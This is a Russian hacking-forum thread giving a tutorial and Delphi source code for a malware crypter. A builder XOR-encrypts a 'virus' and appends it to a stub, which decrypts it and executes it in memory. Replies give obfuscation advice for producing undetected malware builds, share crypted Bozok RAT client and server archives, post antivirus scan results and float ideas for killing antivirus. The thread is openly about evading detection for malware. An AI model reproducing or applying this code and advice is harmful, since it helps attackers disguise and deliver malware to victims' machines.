• Уменьшение отступа

    Обратная связь

    (info@ru-sfera.pw)

ВАЖНО Делаем криптор вместе

Нужная-ли статья ?

  • Да

    Голосов: 82 97.6%
  • Нет

    Голосов: 1 1.2%
  • Хернёй не надоело заниматься ?

    Голосов: 1 1.2%

  • Всего проголосовало
    84

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 068
Репутация
8 173
Привет, я вот-что подумал вечная делема, что победит лень или нездоровый интерес к чему-либо, в данном случае победил интерес, но речь сейчас не об этом !

Давно я хотел стырить у кого-нить код написать свой криптор, да и не просто криптор, а полиморфный и т.д. !

Но проблема в том, что мануалов с гулькин нос, в рунете практически нет, либо это голый код, прикалывают манулалы «Школоты», весь мануал это скопировать/вставить готовый код на каком-либо бейсике, при чём не разбираясь не в коде, не в сути и они считают что делают крутой криптор, гы-гы…

В общем-то, скажу я что написать простенький криптор не чуть не сложнее написания того-же Джойнера, читайте мою статью про Джойнер ! WinkSmile

Что-то я отвлёкся, теперь по сути, долго я читал всякие мануалы, в основном в буржонете, что кстати не красит обилие наших хак. ресурсов, но и там никак понять немог нахуя как-же крутые Испанцы делают даже простенькие крипторы ?

Поняв что от статей толку мало для меня я начал анализировать исходники, благо умею и даже люблю читать иногда чужой код, если он более-менее нормально написан…:)

К сожалению (А может и к счастью) большинство крипторов пишут на бейсике, бейсик не знаю, далее идёт MicrosoftVisualC++, си мне ближе, но саму среду не знаю…

Остаётся что у нас, ассемблер – рано пока для меня, в этоге остаётся си билдер и делфи, на си билдере что-то исходников не нашёл, зато был у меня исходник протектора, да-да именно протектора, даже не криптора, причём этот протектор я нашёл на одном Испанском хак. сайте, давно хотел поковырять этот исходник, а сейчас как-раз предоставился такой шанс !

Что в этоге получил я, благодаря этому исходнику, мне получилось написать криптор на Делфи, не скажу что что-то супер получилось, но по крайне-мере теперь понятна суть и принцип…

В общем рискну написать мануал как-же создать свой криптор с нуля, пусть и на делфи, хотя думаю это ничуть не хуже тех-же бейсиков например ! My mind

В данном мануале как обычно ничего мега-сложного не будет, будет немного простого кода с комментариями и рассуждения как дальше жить, других-же качеств моих тем, надеюсь никто и не заметит !Отдыхай!!!

Итак для начала поймём, что-же будет делать наш криптор:

1)Криптовать любой EXE-файл;

2)Не использовать доп. софт;

3)Запуск в памяти.

4)Криптор будет отчасти полиморфный, т.е. если закриптовать один и тот-же вирус, это будут разные файлы, почему-же отчасти читайте статью, потом объясню !

Как и в статье про Джойнер (кто читал) у нас будет две программы (Проекта):

1)Конструктор(Bulder) – Будет криптовать наш вирус, запихивать его в конец стаба,в общем-то и вся задача конструктора, имеет кстати ну просто изяшный интерфейс, я уже подал заявку на патент !Отдыхай!!!

Stat1.png


2)Стаб(Stub) – Это наши «Мозги», он расшифровывает вирус и запускает его в памяти, заметьте я не буду использовать в этой статье приёмы антиотладки, антиэмуляции и т.д., потому-что просто пока сам до этого не дошёл это во первых, а во вторых нам нужно уловить суть и написать совсем простецкий криптор.

1)Итак начнём с простого, с конструктора, как-обычно создаём проект делфи…

Начинаем кодить, также я расскажу суть, что должен делать конструктор и как реализовать…
Всё ну ОЧЕНЬ просто, конструктор записывает в конец нашего стаба зашифрованный вирус, теперь как реализовать ?

Реализовать ещё проще, помните наш Джойнер (Моя статья про Джойнер) ?

Если-да, то забудьте про него, там я так коряво всё реализовал, что даже стыдно стало, но да-ладно…

Читайте новый способ, реализации:

1)Считываем все данные из стаба в строку (Переменная типа String);

2)Шифруем эти данные (В данном случае XOR);

3)Далее заводим специальную стринговскую переменную, я завёл константу (Const
Del = 'Pizda';), что будет делать наша «Пизда», всё очень просто разделять нужные нам данные, сейчас поясню, в этоге мы получим такую строку данных:

FailCrypt=Stub + Del + Key + Del + CryptVirus;

-Где:

FailCrypt – Это сигнатура (String), которую мы запишем на диск, т.е. это и есть выходной файл !

Stub – Наш стаб, это и есть загрузчик, который будет расшифровывать и запускать наш вирус;

Del – Наша «Пизда» которая разделит, т.е. даст понять нам, что следующий элемент в данном случае ключ для расшифровки;

Далее идёт ключ для расшифровки , потом разделитель и уже наш зашифрованный вирус !

Я не знаю понятно-нет ?

Но в стабе я покажу как разделять эти данные, тогда уже точно должно-быть понятно для чего-же придумали «Пизду» гы-гы-гы ! Отдыхай!!!

Итак немного прокомментирую код, но не весь, как обычно более подробно можете глянуть во вложении…

Начну с основной программы:
Кнопка «СТАРТ»:

Код:
procedure TForm1.Button2Click(Sender: TObject);
var
  Stub: string;
  FileNameVirus: string; //Наш закриптованный вирус !!!!!!!!!!!!
  Key: string;
  CryptFile: string;
Const
  Del = 'Pizda'; //Это для разделения стаба, ключа и зашифрованного файла в данных
begin
  Stub:= extractfilepath(paramstr(0)) + '\stub.exe'; //Открываем наш стаб
  if not fileexists(stub) then exit;	//Если не хуя не открылось то выходим...
  Stub:= mfiletostr(stub);  //Считываем наш стаб
  Key:= 'Fucking';  // Это наш ключ, гы-гы ! ;)
  FileNameVirus:= edit1.Text;  //Получаем путь до вируса, которого нужно криптонуть
  if not fileexists(FileNameVirus) then exit; //Если нет пути, то выходим
  FileNameVirus:= mfiletostr(FileNameVirus);//Считываем данные из файла вируса, для того-чтобы криптонуть
  FileNameVirus:= xorizo(FileNameVirus, Key); //Криптуем эти данные с ключом Key
  CryptFile:= Stub + Del + Key + Del + FileNameVirus; //Получаем Стаб + криптованный мусор
  if savedialog1.Execute then
	begin
	  mwritefilefromstr(CryptFile, savedialog1.FileName + '.exe'); //Здесь записываем это всё на диск, т.е. получаем в результате криптованный файл
	  showmessage('Закриптовалось !!!');
	end else
	begin
	  showmessage('Что-то эа херь не сработала !');
	end;
end;

В основной программе я использовал самописные вспомогательные процедуры:

1) Процедура считывает наш файл, получает FileName – это путь до файла, возвращает строку данных из файла:
Код:
Function mFileToStr(FileName: string): string;
var
sFile: HFile;
uBytes: Cardinal;
begin
sFile:= _lopen(PChar(FileName), OF_READ); //Открываем файл на чтение
uBytes:= GetFileSize(sFile, nil); //Получаем его размер
SetLength(Result, uBytes); // Устанавливаем размер равный нашему файлу (Result).
_lread(sfile, @result[1], uBytes); // Считываем данные из файла в result
_lclose(sFile);
end;

2) Процедура записывает в наш файл данные, данные которые нужно записать будут в строке в формате String:
Код:
Procedure mWriteFileFromStr(data, FileName: string);
var
sFile: HFile;
uBytes: Cardinal;
begin
sFile:= _lcreat(PChar(FileName), 0); //Открываем файл
uBytes:= Length(data); //Получаем длинну наших данных
_lwrite(sFile, @data[1], uBytes); //Записываем данные в файл
_lclose(sFile);
end;


3)Процедура шифрования Xor:
Код:
Function XORizo(Text, Pass: string): string;
var
  i, p: integer;
  Res: string;
begin
  p:= 1;
  for i:= 1 to Length(Text) do
	begin
	  Res:= Res + Chr((Ord(Text[i]) xor Length(Text)) XOR (Ord(Pass[p]) xor Length(Pass)));
	  inc(p);
	  if p > Length(Pass) then p:= 1;
	end;
  SetLength(Result, Length(Res));
  Result:= Res;
end;

2)Ну вот и добрались до стаба:

Создаём новый проект, выкидываем форму и прочее лабуду, т.к. чем меньше будет размер нашего стаба, тем лучше…

Разберёмся что делает стаб:

1)Считывает сам себя и получает данные в строке String:

FailCrypt=Stub + Del + Key + Del + CryptVirus;

-Где:

Stub-Код нашего загрузчика;

Del – наш разделитель, вспомнили «Пизду» !Отдыхай!!!

Key – ключ для шифрования;

CryptVirus – Наш закриптованный вирус.

Этот способ кстати позволяет избежать статического задания размера стаба, вспомните опять-же мою статью про Джойнер !

2)Далее нам нужно расшифровать в память наш вирус CryptVirus, с ключом Key

3)Запуск в памяти, а вот тут-то самый смак, взял я специальную процедурку из исходника протектора WinkSmile

Процедурка большая, если интересно глянете исходник, думаю смысла нет его конкретно здесь анализировать, скажу-лишь как её юзать и поехали:

Всё просто:

memoryexecute(@FileCrypt[1], '', true);

ГДЕ:

@FileCrypt[1] – Указатель на строку данных нашего вируса;

‘’ – параметры запуска, я оставил пустые кавычки;

True – Обычный запуск, если будет FALSE– то будет скрытый запуск…

Можете поэксперементировать с этой процедуркой ! WinkSmile

Теперь перейдём к коду нашего стаба:

1)Основная программа:

Код:
//***Основная программа*********************************************************
var
  StubData: string;//Данные из стаба
  FileCrypt: string; //Наш закриптованный вирус
  Key: string; //Ключ для расшифровки XOR
  TodoArray: TSArray;//Наш массив данных, который мы должны получить (Stub+Key+FileCrypt)
const
  Delimitador: widestring = 'Pizda'; //Наш разделитель !
begin
  StubData:= mfiletostr(paramstr(0)); //Открываем сами себя и считываем данные в StubData, т.е. получаем строку из данных
  TodoArray:= splitmetal(StubData, Delimitador); // Удаляем из этих данных разделитель Delimitador, что-бы получить читаемый массив и обращаться по эллементам !
  Key:= TodoArray[1]; // В массиве: stub = 0-й эллемент; key = 1-ый эллемент; FileCrypt = 2-ый эллемент
  FileCrypt:= TodoArray[2]; //Это мы получили строку данных нашего закриптованного вируса, нужно его рсшифровать с ключом Key
  FileCrypt:= xorizo(FileCrypt, key);//Расшифровываем
  memoryexecute(@FileCrypt[1], '', true); //А вот эта функция запускает наш вирус из памяти ! ;)
end.
//******************************************************************************

Немного правда ?

Я постарался сократить ! WinkSmile

Я использовал самописные процедуры, про все я уже сказал в статье, остановлюсь лишь на одной:

Пришло время рассказать ещё раз про «Пизду», как-же разделить из кучи инфы нужные нам элементы ?

И опять-таки ничего сложного в этой задаче нет, вот процедурка:

В этой функции удаляем Delimitador, т.е. разделитель, что-бы получить читаемый массив и обращаться по эллементам (На выходе получим такой массив) !

Код:
function SplitMetal(Texto, Delimitador: string): TSarray;
var
  o: integer;
  PosDel: integer;
  Aux: string;
begin
  o := 0;
  Aux := Texto;
  setlength(Result, length(Aux));
  repeat
	PosDel := Pos(Delimitador, Aux) - 1;
	if PosDel = -1 then
	begin
	  Result[o] := Aux;
	  break;
	end;
	Result[o] := copy(Aux, 1, PosDel);
	delete(Aux, 1, PosDel + length(Delimitador));
	inc(o);
  until Aux = '';
end;

ГДЕ: Texto – Это прочитанные данные;

Delimitador – Это наша «Пизда»

Функция разделяет по строке Delimitador наши данные по элементам, потом мы можем спокойно обращаться к ним !like it

В этоге получим такой массив строк:

FailCrypt=Stub+Key+VirusCrypt

А потом можем обращаться к данным так:

FailCrypt[0]-Это наш стаб;

FailCrypt[1] – Это наш ключ для расшифровки;

FailCrypt[2] – Это наш закриптованный вирус;

Вроде всё, устал писать статью, надеюсь она поможет кому, будут вопросы задавайте с радостью отвечу !

Все исходники во вложении, пароль:111 !

И ещё про полиморфизм и детект:

Что-бы сделать криптор полиморфным можно как вариант, каждый раз задавать разный ключ для шифровки Key, у меня задаётся статически в исходниках, реализация этого функционала ложится на вас в билдере, гы-гы !

Теперь про детект, давайте подумаем какие средства антиотладки и антиэмуляции можно сюда внедрить что-бы вирус не палился при запуске…

Сейчас здесь ничего не реализовано в этом плане, поэтому рискну предположить, что будет детектить эвристика и спалится при запуске в памяти !
 

Вложения

  • Криптор.rar
    811.9 КБ · Просмотры: 679

Nedovirus

Уважаемый пользователь
Форумчанин
Регистрация
14.05.2014
Сообщения
399
Репутация
310
Вообще, по сути, криптор в данном случае нужен только для получения знаний/опыта в предметной области. А если брать малвареписательство, то при серьезном подходе такой криптор тоже не нужен - нужен криптор исходных кодов - интерфейс даже можно сохранить, но выбирать нужно сам соурс-файл зловреда - его обфусцировать таким образом, чтобы при компиляции это был новенький fud-файлик :)

Предлагаю потренироваться в этой области т.к:
1. Область менее изучена и освещена (делать что-то впервые - всегда приятно)
2. Не нужны специфичные знания (например хитрости работы в памяти, работы с tls и прочими радостями...)
3. Простота кодинга и отладки - по сути это работа со строками :)
4. Это удобно делать на любом языке программирования - операции со строками везде примерно одинаково удобно делать. Просто кто к чему привык :)
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 068
Репутация
8 173
его обфусцировать таким образом, чтобы при компиляции это был новенький fud-файлик :)
Идея интересная, но вот как понять что конкретно нужно обфусцировать и как вопрос ?

Я уже пробовал, не достаточно просто поменять исходный код, тестил на каспере и докторе вебе, детектит как модификация зловреда !NO-no!!!
 

Nedovirus

Уважаемый пользователь
Форумчанин
Регистрация
14.05.2014
Сообщения
399
Репутация
310
Смотреть в отладчике\дизассемблере что во что преобразует компилятор. Возможно, что ваши изменения в коде никак (почти никак) не отражаются в скомпилированном коде. Разумеется, что имена переменных и порядок их объявления менять смысла не сильно много.
А вот создание:
- вставок ничего не делающего кода
- заведомо неверных условий (чтобы это было заведомо понятно вам, а не компилятору)
- полупустых мусорных циклов
- функции декриптовки\криптовки строк
- вызовы липовых ничего не меняющих функций
- сложное и долгое ветвление логики с полубесконечными циклами
и т.д

Вполне имеет смысл.
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 068
Репутация
8 173
Nedovirus, полностью согласен с тобой, может на досуге попробую такое сделать, чисто ради интереса, т.к. я не вирусописатель, да и не очень-то люблю малварь создавать, не малварьщик я, хотя интересна эта вся технология !WinkSmile

Теперь про мой криптор, его актуальность ещё зависит и от авера, если большинство аверов проявили себя с хорошей стороны, то вот Оутпост разочаровал...

Закриптовал Бозок-клиент (Сервер делать было лень, клиент тоже палят почти все), так он запустился, сканер даже и ничего не сказал...

Да проактивка сработала на запуск и что ?

А вот сканер молчок, даже на запуск в памяти не среагировал, огромный жирный минус оутпосту !NO-no!!!

Вот закриптованный клиент бозока !

Пароль:111
 

Вложения

  • Bozok_Klient.rar
    1.5 МБ · Просмотры: 74

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 068
Репутация
8 173
Что-бы не подумали, что я херню несу, вот закриптовал сервер бозока, запускается из памяти, Оутпосту параллельно вообще, запускается и устанавливается сервер...

Срабатывает только проактивка, и-то рейтинг приложения, умеренно-подозрительный !

Можете сами проверить, пароль:111 !

Закриптованный сервер бозока, полностью рабочий !
 

Вложения

  • Server1.rar
    247.5 КБ · Просмотры: 53

Антоха

Уважаемый пользователь
Форумчанин
Регистрация
26.12.2012
Сообщения
2 780
Репутация
4 652
Оутпосту параллельно вообще
Ндааа...пичалька.Самое страшное окошко,что Оутпост выдал ,это был запрос на исходящее соединение.
Снимок.JPG

А так пропустил зловреда.Кстати,Защитник Виндовс (с обновлёнными базами) почуял сразу после распаковки.
Result: ( 19/60 )

AV-Name Result
A-Squared(Emisoft AntiMalware) Clean - Nothing Found
Agnitum Clean - Nothing Found
AhnLab V3 Internet Security Clean - Nothing Found
ArcaVir Gen:Trojan.Heur.DP.tGZ@aC3weCic
Avast Clean - Nothing Found
Avg Clean - Nothing Found
Avira TR/Hijacker.Gen Trojan!
Ad-Aware Clean - Nothing Found
Baidu AV Clean - Nothing Found
BitDefender Gen:Trojan.Heur.DP.tGZ@aC3weCic
BKav Clean - Nothing Found
BullGuard Internet Security Clean - Nothing Found
ByteHero Potential Virus
ClamAv Clean - Nothing Found
Comodo Clean - Nothing Found
Total Defense IS Clean - Nothing Found
Dr. Web Clean - Nothing Found
eScan Clean - Nothing Found
eTrust-Vet Clean - Nothing Found
eScan Internet Security Suite 14 Gen:Trojan.Heur.DP.tGZ@aC3weCic (DB)
ESET NOD32 Clean - Nothing Found
Fortinet Clean - Nothing Found
Fprot W32/Agent.S.gen!Eldorado
FSB Antivirus Clean - Nothing Found
F-Secure Rogue:W32/FakeAv.BI
Gdata Virus: Gen:Trojan.Heur.DP.tGZ@aC3weCic (Engine A)
Ikarus Trojan-Spy.Win32.Lydra.g
Immunet Antivirus Gen:Trojan.Heur.DP.tGZ@aC3weCic
IObit Malware Fighter Clean - Nothing Found
K7Ultimate Clean - Nothing Found
Kaspersky Internet Security 2013 HEUR:Worm.Win32.Generic
KingSoft Clean - Nothing Found
McAfee Clean - Nothing Found
Microsoft Security Essentials Backdoor:Win32/Bezigate.B
nProtect HEUR:Worm.Win32.Generic
NANO Antivirus Virus: Gen:Trojan.Heur.DP.tGZ@aC3weCic (Engine A)
Netgate Clean - Nothing Found
Norton Internet Security Suspicious.Graybird.1
Norman Clean - Nothing Found
Outpost Security Suite Pro Clean - Nothing Found
Ozone AV Clean - Nothing Found
Panda Antivirus Clean - Nothing Found
Panda Cloud Clean - Nothing Found
PC Tools Clean - Nothing Found
Quick Heal Clean - Nothing Found
SUPERAntiSpyware Clean - Nothing Found
Solo Clean - Nothing Found
TotalDefense Clean - Nothing Found
Trendmicro Internet Security Clean - Nothing Found
TrustPort Antivirus 2014 Clean - Nothing Found
Twister Antivirus 8 Clean - Nothing Found
Unthreat AntiVirus BE Gen:Trojan.Heur.DP.tGZ@aC3weCic
Vba 32 Malware-Cryptor.Inject.gen
Vexira Gen:Trojan.Heur.DP.tGZ@aC3weCic
Vipre Internet Security 2013 Clean - Nothing Found
VirIT Clean - Nothing Found
Webroot Clean - Nothing Found
Zillya Gen:Trojan.Heur.DP.tGZ@aC3weCic
Zoner Clean - Nothing Found
360 Clean - Nothing Found
Filename: Server1.exe
File MD5 Hash: a4bad183aa97eb80fa31f8f95eaefef1
File SHA1: 7e0afaf3f514f21506fdf8484aed5240b6f21091
File Size: 325649 Bytes
Time Scanned: 17-06-14, 06:32:15

Link to result:
 

Nedovirus

Уважаемый пользователь
Форумчанин
Регистрация
14.05.2014
Сообщения
399
Репутация
310
ну значит сюда автомат детект шлепал, делов то... Кое кто может подтвердить, что видел мой мега нано криптор, который более простыми даже методами "криптовки" сбивал детект и у каспера... )))
 

Антоха

Уважаемый пользователь
Форумчанин
Регистрация
26.12.2012
Сообщения
2 780
Репутация
4 652
Наш ответ Чемберлену!Поддержи отечественного производителя!Встречаем чисто русский продукт-Russian Vodka Cryptor (в основе лежит криптор "Ы" из шапки темы)!
2.gif
Канеш по чистоте ему не угнаться за чистоплюями-буржуинами ( ),но всё же.​
1.gif
Пасс:111
 

Вложения

  • Russian VodkaCrypter.rar
    322.9 КБ · Просмотры: 208

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 068
Репутация
8 173
Канеш по чистоте ему не угнаться за чистоплюями-буржуинами (скан стаба),но всё же.
Антиэмулятора там нет + я-бы немного по другому запускал в памяти...

Вот палево и развёл !Отдыхай!!!

Будет время попробую переделать...

Можно ещё подумать как-бы наш дринк-криптор боролся с аверами, может как-нить их прибивать перед раскриптовкой, тогда и антиэмулятор не нужен...Dmeh-Smeh-Smeh!!!
 
Автор темы Похожие темы Форум Ответы Дата
D СТАТЬИ И УРОКИ ПО ИССЛЕДОВАНИЮ ЗАЩИТЫ 37
Z СТАТЬИ И УРОКИ ПО ИССЛЕДОВАНИЮ ЗАЩИТЫ 3
Антоха СТАТЬИ И УРОКИ ПО ИССЛЕДОВАНИЮ ЗАЩИТЫ 4
X-Shar СТАТЬИ И УРОКИ ПО ИССЛЕДОВАНИЮ ЗАЩИТЫ 1
X-Shar СТАТЬИ И УРОКИ ПО ИССЛЕДОВАНИЮ ЗАЩИТЫ 14
X-Shar СТАТЬИ И УРОКИ ПО ИССЛЕДОВАНИЮ ЗАЩИТЫ 17
X-Shar СТАТЬИ И УРОКИ ПО ИССЛЕДОВАНИЮ ЗАЩИТЫ 15
X-Shar СТАТЬИ И УРОКИ ПО ИССЛЕДОВАНИЮ ЗАЩИТЫ 32
X-Shar СТАТЬИ И УРОКИ ПО ИССЛЕДОВАНИЮ ЗАЩИТЫ 0
Верх Низ